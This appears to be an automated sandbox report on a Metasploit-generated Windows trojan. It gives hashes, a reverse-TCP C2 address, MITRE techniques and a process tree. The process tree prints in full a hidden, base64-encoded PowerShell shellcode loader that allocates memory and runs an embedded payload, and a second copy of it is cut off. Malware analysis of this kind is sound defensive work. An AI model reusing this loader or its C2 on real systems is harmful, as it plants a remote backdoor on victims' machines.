metasploit | ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8

General

Target

ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe
Size

17KB
MD5

f8a9322518123f8dfa7e2e4b02e21656
SHA1

0f7fff304e0fe1a4bc0ca5eef9d34cdb6d2b43a9
SHA256

ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8
SHA512

fca2e548bb333ac59a4803ab783c5b4bfb466c5f7f59bcb787675db7c4444beafae9fe97beeb272c680f1573f204b864cd06a95cfcfb863e15f4c489732d3bae
SSDEEP

384:OEEoLO56ayzcMj+uZvAc00EUGvQPCcmL6neqlkXMj/79Wx:RE8O56lcVuGv0TPCcfexX+79Wx

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp_dns

C2

190.130.88.59:4444

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Blocklisted process makes network request 7 IoCs

flow	pid	Process
2	2164	powershell.exe
2	2164	powershell.exe
2	2164	powershell.exe
2	2164	powershell.exe
2	2164	powershell.exe
2	2164	powershell.exe
2	2164	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1584	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1584	powershell.exe
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 1652	2372	ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe	31
PID 2372 wrote to memory of 1652	2372	ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe	31
PID 2372 wrote to memory of 1652	2372	ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe	31
PID 1652 wrote to memory of 1584	1652	cmd.exe	32
PID 1652 wrote to memory of 1584	1652	cmd.exe	32
PID 1652 wrote to memory of 1584	1652	cmd.exe	32
PID 1584 wrote to memory of 2164	1584	powershell.exe	33
PID 1584 wrote to memory of 2164	1584	powershell.exe	33
PID 1584 wrote to memory of 2164	1584	powershell.exe	33
PID 1584 wrote to memory of 2164	1584	powershell.exe	33
PID 2164 wrote to memory of 2864	2164	powershell.exe	34
PID 2164 wrote to memory of 2864	2164	powershell.exe	34
PID 2164 wrote to memory of 2864	2164	powershell.exe	34
PID 2164 wrote to memory of 2864	2164	powershell.exe	34
PID 2864 wrote to memory of 2608	2864	csc.exe	35
PID 2864 wrote to memory of 2608	2864	csc.exe	35
PID 2864 wrote to memory of 2608	2864	csc.exe	35
PID 2864 wrote to memory of 2608	2864	csc.exe	35

C:\Users\Admin\AppData\Local\Temp\ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe
"C:\Users\Admin\AppData\Local\Temp\ffea9176cfb8f8c009dfc8c1c4db6385e0155497dc42cd0e3dd356371c4089b8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JAA5AFQARAAgAD0AIAAnACQAYgBNAFkASAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABiAE0AWQBIACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGQAYgAsADAAeABjAGIALAAwAHgAYgBmACwAMAB4ADkANwAsADAAeAA5ADgALAAwAHgANQA1ACwAMAB4ADEAMAAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBkACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADUAMAAsADAAeAAzADEALAAwAHgANwBkACwAMAB4ADEAYQAsADAAeAA4ADMALAAwAHgAZQBkACwAMAB4AGYAYwAsADAAeAAwADMALAAwAHgANwBkACwAMAB4ADEANgAsADAAeABlADIALAAwAHgANgAyACwAMAB4ADYANAAsADAAeABiAGQALAAwAHgAOQBmACwAMAB4ADgAYwAsADAAeAA5ADUALAAwAHgAMwBlACwAMAB4AGMAMAAsADAAeABiAGQALAAwAHgANAA3ACwAMAB4ADUAYQAsADAAeAA4AGIALAAwAHgAZQBmACwAMAB4ADUANwAsADAAeAAyAGEALAAwAHgANgBlACwAMAB4ADgANAAsADAAeABjAGEALAAwAHgAMgAwACwAMAB4AGYAYQAsADAAeABjADgALAAwAHgAZgBlACwAMAB4ADAAOQAsADAAeAAwADMALAAwAHgAZQAzACwAMAB4ADQAOQAsADAAeAAyADMALAAwAHgAZABkACwAMAB4ADcAMAAsADAAeABjADcALAAwAHgAOQBjACwAMAB4ADEAMAAsADAAeAA0ADYALAAwAHgAOAA0ACwAMAB4AGUAMQAsADAAeAAzADMALAAwAHgAMwBhACwAMAB4AGQANwAsADAAeAAzADUALAAwAHgAOQA0ACwAMAB4ADAAMwAsADAAeAAxADgALAAwAHgANAA4ACwAMAB4AGQANQAsADAAeAA0ADQALAAwAHgAZQBlACwAMAB4ADIANgAsADAAeAAzAGEALAAwAHgAMQA4ACwAMAB4ADcAYQAsADAAeAA5AGEALAAwAHgAZAA0ACwAMAB4ADEANwAsADAAeAAzAGUALAAwAHgAMgA3ACwAMAB4AGQANAAsADAAeABmADcALAAwAHgAMwA0ACwAMAB4ADEANwAsADAAeABhAGUALAAwAHgAYQAwACwAMAB4AGMAZgAsADAAeAA1ADgALAAwAHgAMwBhACwAMAB4ADAAMgAsADAAeABkADEALAAwAHgAOAA4ACwAMAB4ADkAMwAsADAAeAAxADEALAAwAHgAOQA5ACwAMAB4ADMAMAAsADAAeAA5AGYALAAwAHgANwBkACwAMAB4ADMAYQAsADAAeAA0ADAALAAwAHgANABjACwAMAB4AGYAOAAsADAAeABmADMALAAwAHgAMwA2ACwAMAB4ADQAZQAsADAAeAA0AGIALAAwAHgAMwA1ACwAMAB4ADQAOAAsADAAeAAyADUALAAwAHgANwBmACwAMAB4AGIAZQAsADAAeABiADcALAAwAHgAZQBjACwAMAB4ADQAZQAsADAAeAAwADAALAAwAHgAMQBiACwAMAB4AGQAMQAsADAAeAA3AGYALAAwAHgAOABkACwAMAB4ADYANQAsADAAeAAxADUALAAwAHgANAA3ACwAMAB4ADYAZQAsADAAeAAxADAALAAwAHgANgBkACwAMAB4AGIANAAsADAAeAAxADMALAAwAHgAMgAzACwAMAB4AGIANgAsADAAeABjADcALAAwAHgAYwBmACwAMAB4AGEANgAsADAAeAAyADkALAAwAHgANgBmACwAMAB4ADkAYgAsADAAeAAxADEALAAwAHgAOABlACwAMAB4ADgAZQAsADAAeAA0ADgALAAwAHgAYwA3ACwAMAB4ADQANQAsADAAeAA5AGMALAAwAHgAMgA1ACwAMAB4ADgAMwAsADAAeAAwADIALAAwAHgAOAAwACwAMAB4AGIAOAAsADAAeAA0ADAALAAwAHgAMwA5ACwAMAB4AGIAYwAsADAAeAAzADEALAAwAHgANgA3ACwAMAB4AGUAZQAsADAAeAAzADUALAAwAHgAMAAxACwAMAB4ADQAYwAsADAAeAAyAGEALAAwAHgAMQBlACwAMAB4AGQAMQAsADAAeABlAGQALAAwAHgANgBiACwAMAB4AGYAYQAsADAAeABiADQALAAwAHgAMQAyACwAMAB4ADYAYgAsADAAeABhADIALAAwAHgANgA5ACwAMAB4AGIANwAsADAAeABlADcALAAwAHgANAAwACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgAMAA3ACwAMAB4ADkAYgAsADAAeAA4ADAALAAwAHgAOQA1ACwAMAB4ADkAZgAsADAAeAA1ADAALAAwAHgANABkACwAMAB4ADIANgAsADAAeAA2ADAALAAwAHgAZgBlACwAMAB4AGMANgAsADAAeAA1ADUALAAwAHgANQAyACwAMAB4AGEAMQAsADAAeAA3AGMALAAwAHgAZgAyACwAMAB4AGQAZQAsADAAeAAyAGEALAAwAHgANQBiACwAMAB4ADAANQAsADAAeAAyADAALAAwAHgAMAAxACwAMAB4ADEAYgAsADAAeAA5ADkALAAwAHgAZABmACwAMAB4AGEAOQAsADAAeAA1AGMALAAwAHgAYgAzACwAMAB4ADEAYgAsADAAeABmAGQALAAwAHgAMABjACwAMAB4AGEAYgAsADAAeAA4AGEALAAwAHgANwBkACwAMAB4AGMANwAsADAAeAAyAGIALAAwAHgAMwAyACwAMAB4AGEAOAAsADAAeAA0ADgALAAwAHgANwBjACwAMAB4ADkAYwAsADAAeAAwADIALAAwAHgAMgA5ACwAMAB4ADIAYwAsADAAeAA1AGMALAAwAHgAZgAyACwAMAB4AGMAMQAsADAAeAAyADYALAAwAHgANQAzACwAMAB4ADIAZAAsADAAeABmADEALAAwAHgANAA4ACwAMAB4AGIAOQAsADAAeAA0ADYALAAwAHgAMQBhACwAMAB4AGIAOAAsADAAeAA0ADIALAAwAHgANgA4ACwAMAB4AGQAYgAsADAAeABmADQALAAwAHgANwBiACwAMAB4ADUAOAAsADAAeABmADUALAAwAHgAYwA3ACwAMAB4ADQAOAAsADAAeABhADgALAAwAHgAMgA3ACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAZQA2ACwAMAB4ADAAMgAsADAAeAA1ADkALAAwAHgAZQA3ACwAMAB4ADkAZQAsADAAeABjADUALAAwAHgAYgAxACwAMAB4AGQAMwAsADAAeABkAGUALAAwAHgAZQA5ACwAMAB4ADEANwAsADAAeAA5ADAALAAwAHgAOQBlACwAMAB4ADAAOQAsADAAeABmADIALAAwAHgAYQBkACwAMAB4ADQAZQAsADAAeAA1AGEALAAwAHgAMAAwACwAMAB4AGIAMgAsADAAeAA3AGYALAAwAHgAYwA2ACwAMAB4ADgAZAAsADAAeAA1ADQALAAwAHgAMQA1ACwAMAB4AGUANgAsADAAeABkAGIALAAwAHgAYwBmACwAMAB4ADgAMQAsADAAeAA5AGYALAAwAHgANAAxACwAMAB4ADkAYgAsADAAeAAzADAALAAwAHgANQBmACwAMAB4ADUAYwAsADAAeABlADEALAAwAHgANwAyACwAMAB4AGUAYgAsADAAeAA1ADMALAAwAHgAMQA1ACwAMAB4ADMAYwAsADAAeAAxAGMALAAwAHgAMQA5ACwAMAB4ADAANQAsADAAeABhADgALAAwAHgAZQBjACwAMAB4ADUANAAsADAAeAA3ADcALAAwAHgANwBlACwAMAB4AGYAMgAsADAAeAA0ADIALAAwAHgAMQAyACwAMAB4ADcAZQAsADAAeAA2ADYALAAwAHgANgA5ACwAMAB4AGIANQAsADAAeAAyADkALAAwAHgAMQBlACwAMAB4ADcAMwAsADAAeABlADAALAAwAHgAMQBkACwAMAB4ADgAMQAsADAAeAA4AGMALAAwAHgAYwA3ACwAMAB4ADEANgAsADAAeAAwADgALAAwAHgAMQA5ACwAMAB4AGEAOAAsADAAeAA0ADAALAAwAHgANwA1ACwAMAB4AGMAZAAsADAAeAAyADgALAAwAHgAOQAwACwAMAB4ADIAMwAsADAAeAA4ADcALAAwAHgAMgA4ACwAMAB4AGYAOAAsADAAeAA5ADMALAAwAHgAZgAzACwAMAB4ADcAYQAsADAAeAAxAGQALAAwAHgAZABjACwAMAB4ADIAOQAsADAAeABlAGYALAAwAHgAOABlACwAMAB4ADQAOQAsADAAeABkADIALAAwAHgANAA2ACwAMAB4ADYAMwAsADAAeABkADkALAAwAHgAYgBhACwAMAB4ADYANAAsADAAeAA1AGEALAAwAHgAMgBkACwAMAB4ADYANQAsADAAeAA5ADYALAAwAHgAOAA5ACwAMAB4AGEAZgAsADAAeAA1ADkALAAwAHgANAAxACwAMAB4AGYANwAsADAAeABjADUALAAwAHgAYgAzACwAMAB4ADUAMQA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAcQBTAFkAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAHEAUwBZAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABxAFMAWQAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADkAVABEACkAKQA7ACQATwAzAFgAIAA9ACAAIgAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJABXAGYATABnACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAFcAZgBMAGcAIAAkAE8AMwBYACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAE8AMwBYACAAJABlACIAOwB9AA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -window hidden -EncodedCommand JAA5AFQARAAgAD0AIAAnACQAYgBNAFkASAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABiAE0AWQBIACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGQAYgAsADAAeABjAGIALAAwAHgAYgBmACwAMAB4ADkANwAsADAAeAA5ADgALAAwAHgANQA1ACwAMAB4ADEAMAAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBkACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADUAMAAsADAAeAAzADEALAAwAHgANwBkACwAMAB4ADEAYQAsADAAeAA4ADMALAAwAHgAZQBkACwAMAB4AGYAYwAsADAAeAAwADMALAAwAHgANwBkACwAMAB4ADEANgAsADAAeABlADIALAAwAHgANgAyACwAMAB4ADYANAAsADAAeABiAGQALAAwAHgAOQBmACwAMAB4ADgAYwAsADAAeAA5ADUALAAwAHgAMwBlACwAMAB4AGMAMAAsADAAeABiAGQALAAwAHgANAA3ACwAMAB4ADUAYQAsADAAeAA4AGIALAAwAHgAZQBmACwAMAB4ADUANwAsADAAeAAyAGEALAAwAHgANgBlACwAMAB4ADgANAAsADAAeABjAGEALAAwAHgAMgAwACwAMAB4AGYAYQAsADAAeABjADgALAAwAHgAZgBlACwAMAB4ADAAOQAsADAAeAAwADMALAAwAHgAZQAzACwAMAB4ADQAOQAsADAAeAAyADMALAAwAHgAZABkACwAMAB4ADcAMAAsADAAeABjADcALAAwAHgAOQBjACwAMAB4ADEAMAAsADAAeAA0ADYALAAwAHgAOAA0ACwAMAB4AGUAMQAsADAAeAAzADMALAAwAHgAMwBhACwAMAB4AGQANwAsADAAeAAzADUALAAwAHgAOQA0ACwAMAB4ADAAMwAsADAAeAAxADgALAAwAHgANAA4ACwAMAB4AGQANQAsADAAeAA0ADQALAAwAHgAZQBlACwAMAB4ADIANgAsADAAeAAzAGEALAAwAHgAMQA4ACwAMAB4ADcAYQAsADAAeAA5AGEALAAwAHgAZAA0ACwAMAB4ADEANwAsADAAeAAzAGUALAAwAHgAMgA3ACwAMAB4AGQANAAsADAAeABmADcALAAwAHgAMwA0ACwAMAB4ADEANwAsADAAeABhAGUALAAwAHgAYQAwACwAMAB4AGMAZgAsADAAeAA1ADgALAAwAHgAMwBhACwAMAB4ADAAMgAsADAAeABkADEALAAwAHgAOAA4ACwAMAB4ADkAMwAsADAAeAAxADEALAAwAHgAOQA5ACwAMAB4ADMAMAAsADAAeAA5AGYALAAwAHgANwBkACwAMAB4ADMAYQAsADAAeAA0ADAALAAwAHgANABjACwAMAB4AGYAOAAsADAAeABmADMALAAwAHgAMwA2ACwAMAB4ADQAZQAsADAAeAA0AGIALAAwAHgAMwA1ACwAMAB4ADQAOAAsADAAeAAyADUALAAwAHgANwBmACwAMAB4AGIAZQAsADAAeABiADcALAAwAHgAZQBjACwAMAB4ADQAZQAsADAAeAAwADAALAAwAHgAMQBiACwAMAB4AGQAMQAsADAAeAA3AGYALAAwAHgAOABkACwAMAB4ADYANQAsADAAeAAxADUALAAwAHgANAA3ACwAMAB4ADYAZQAsADAAeAAxADAALAAwAHgANgBkACwAMAB4AGIANAAsADAAeAAxADMALAAwAHgAMgAzACwAMAB4AGIANgAsADAAeABjADcALAAwAHgAYwBmACwAMAB4AGEANgAsADAAeAAyADkALAAwAHgANgBmACwAMAB4ADkAYgAsADAAeAAxADEALAAwAHgAOABlACwAMAB4ADgAZQAsADAAeAA0ADgALAAwAHgAYwA3ACwAMAB4ADQANQAsADAAeAA5AGMALAAwAHgAMgA1ACwAMAB4ADgAMwAsADAAeAAwADIALAAwAHgAOAAwACwAMAB4AGIAOAAsADAAeAA0ADAALAAwAHgAMwA5ACwAMAB4AGIAYwAsADAAeAAzADEALAAwAHgANgA3ACwAMAB4AGUAZQAsADAAeAAzADUALAAwAHgAMAAxACwAMAB4ADQAYwAsADAAeAAyAGEALAAwAHgAMQBlACwAMAB4AGQAMQAsADAAeABlAGQALAAwAHgANgBiACwAMAB4AGYAYQAsADAAeABiADQALAAwAHgAMQAyACwAMAB4ADYAYgAsADAAeABhADIALAAwAHgANgA5ACwAMAB4AGIANwAsADAAeABlADcALAAwAHgANAAwACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgAMAA3ACwAMAB4ADkAYgAsADAAeAA4ADAALAAwAHgAOQA1ACwAMAB4ADkAZgAsADAAeAA1ADAALAAwAHgANABkACwAMAB4ADIANgAsADAAeAA2ADAALAAwAHgAZgBlACwAMAB4AGMANgAsADAAeAA1ADUALAAwAHgANQAyACwAMAB4AGEAMQAsADAAeAA3AGMALAAwAHgAZgAyACwAMAB4AGQAZQAsADAAeAAyAGEALAAwAHgANQBiACwAMAB4ADAANQAsADAAeAAyADAALAAwAHgAMAAxACwAMAB4ADEAYgAsADAAeAA5ADkALAAwAHgAZABmACwAMAB4AGEAOQAsADAAeAA1AGMALAAwAHgAYgAzACwAMAB4ADEAYgAsADAAeABmAGQALAAwAHgAMABjACwAMAB4AGEAYgAsADAAeAA4AGEALAAwAHgANwBkACwAMAB4AGMANwAsADAAeAAyAGIALAAwAHgAMwAyACwAMAB4AGEAOAAsADAAeAA0ADgALAAwAHgANwBjACwAMAB4ADkAYwAsADAAeAAwADIALAAwAHgAMgA5ACwAMAB4ADIAYwAsADAAeAA1AGMALAAwAHgAZgAyACwAMAB4AGMAMQAsADAAeAAyADYALAAwAHgANQAzACwAMAB4ADIAZAAsADAAeABmADEALAAwAHgANAA4ACwAMAB4AGIAOQAsADAAeAA0ADYALAAwAHgAMQBhACwAMAB4AGIAOAAsADAAeAA0ADIALAAwAHgANgA4ACwAMAB4AGQAYgAsADAAeABmADQALAAwAHgANwBiACwAMAB4ADUAOAAsADAAeABmADUALAAwAHgAYwA3ACwAMAB4ADQAOAAsADAAeABhADgALAAwAHgAMgA3ACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAZQA2ACwAMAB4ADAAMgAsADAAeAA1ADkALAAwAHgAZQA3ACwAMAB4ADkAZQAsADAAeABjADUALAAwAHgAYgAxACwAMAB4AGQAMwAsADAAeABkAGUALAAwAHgAZQA5ACwAMAB4ADEANwAsADAAeAA5ADAALAAwAHgAOQBlACwAMAB4ADAAOQAsADAAeABmADIALAAwAHgAYQBkACwAMAB4ADQAZQAsADAAeAA1AGEALAAwAHgAMAAwACwAMAB4AGIAMgAsADAAeAA3AGYALAAwAHgAYwA2ACwAMAB4ADgAZAAsADAAeAA1ADQALAAwAHgAMQA1ACwAMAB4AGUANgAsADAAeABkAGIALAAwAHgAYwBmACwAMAB4ADgAMQAsADAAeAA5AGYALAAwAHgANAAxACwAMAB4ADkAYgAsADAAeAAzADAALAAwAHgANQBmACwAMAB4ADUAYwAsADAAeABlADEALAAwAHgANwAyACwAMAB4AGUAYgAsADAAeAA1ADMALAAwAHgAMQA1ACwAMAB4ADMAYwAsADAAeAAxAGMALAAwAHgAMQA5ACwAMAB4ADAANQAsADAAeABhADgALAAwAHgAZQBjACwAMAB4ADUANAAsADAAeAA3ADcALAAwAHgANwBlACwAMAB4AGYAMgAsADAAeAA0ADIALAAwAHgAMQAyACwAMAB4ADcAZQAsADAAeAA2ADYALAAwAHgANgA5ACwAMAB4AGIANQAsADAAeAAyADkALAAwAHgAMQBlACwAMAB4ADcAMwAsADAAeABlADAALAAwAHgAMQBkACwAMAB4ADgAMQAsADAAeAA4AGMALAAwAHgAYwA3ACwAMAB4ADEANgAsADAAeAAwADgALAAwAHgAMQA5ACwAMAB4AGEAOAAsADAAeAA0ADAALAAwAHgANwA1ACwAMAB4AGMAZAAsADAAeAAyADgALAAwAHgAOQAwACwAMAB4ADIAMwAsADAAeAA4ADcALAAwAHgAMgA4ACwAMAB4AGYAOAAsADAAeAA5ADMALAAwAHgAZgAzACwAMAB4ADcAYQAsADAAeAAxAGQALAAwAHgAZABjACwAMAB4ADIAOQAsADAAeABlAGYALAAwAHgAOABlACwAMAB4ADQAOQAsADAAeABkADIALAAwAHgANAA2ACwAMAB4ADYAMwAsADAAeABkADkALAAwAHgAYgBhACwAMAB4ADYANAAsADAAeAA1AGEALAAwAHgAMgBkACwAMAB4ADYANQAsADAAeAA5ADYALAAwAHgAOAA5ACwAMAB4AGEAZgAsADAAeAA1ADkALAAwAHgANAAxACwAMAB4AGYANwAsADAAeABjADUALAAwAHgAYgAzACwAMAB4ADUAMQA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAcQBTAFkAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAHEAUwBZAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABxAFMAWQAsADAALAAwACwAMAApADsAZgB